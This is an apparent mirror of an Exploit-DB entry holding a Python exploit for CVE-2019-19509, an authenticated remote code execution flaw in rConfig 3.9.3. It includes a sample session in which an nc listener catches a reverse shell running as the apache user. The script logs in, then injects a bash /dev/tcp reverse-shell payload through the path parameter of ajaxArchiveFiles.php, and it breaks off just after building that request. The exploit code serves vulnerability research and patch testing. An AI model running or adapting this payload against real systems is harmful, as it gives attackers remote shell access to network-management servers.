rConfig 3.9.3 – Authenticated Remote Code Execution - 体验盒子

作者： vikingfr

日期： 2020-01-30

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47982/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

# Exploit Title: rConfig 3.9.3 - Authenticated Remote Code Execution

# Date: 2019-11-07

# CVE-2019-19509

# Exploit Author: vikingfr

# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)

# Software Link : http://files.rconfig.com/downloads/scripts/centos7_install.sh

# Version: tested v3.9.3

# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24

#

# Notes : If you want to reproduce in your lab environment follow those links :

# http://help.rconfig.com/gettingstarted/installation

# then

# http://help.rconfig.com/gettingstarted/postinstall

#

# $ python3 rconfig_CVE-2019-19509.py https://192.168.43.34 admin root 192.168.43.245 8081

# rconfig - CVE-2019-19509 - Web authenticated RCE

# [+] Logged in successfully, triggering the payload...

# [+] Check your listener !

# ...

# $ nc -nvlp 8081

# listening on [any] 8081 ...

# connect to [192.168.43.245] from (UNKNOWN) [192.168.43.34] 34458

# bash: no job control in this shell

# bash-4.2$ id

# id

# uid=48(apache) gid=48(apache) groups=48(apache)

# bash-4.2$

#!/usr/bin/python3

import requests

import sys

import urllib.parse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig - CVE-2019-19509 - Web authenticated RCE")

if len(sys.argv) != 6:

print ("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")

exit()

target = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

payload = '''<code>bash -i>& /dev/tcp/{0}/{1} 0>&1</code>'''.format(ip, port)

request = requests.session()

login_info = {

"user": username,

"pass": password,

"sublogin": 1

}

login_request = request.post(

target+"/lib/crud/userprocess.php",

login_info,

verify=False,

allow_redirects=True

)

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

if dashboard_request.status_code == 200:

print ("[+] Logged in successfully, triggering the payload...")

encoded_request = target+"/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))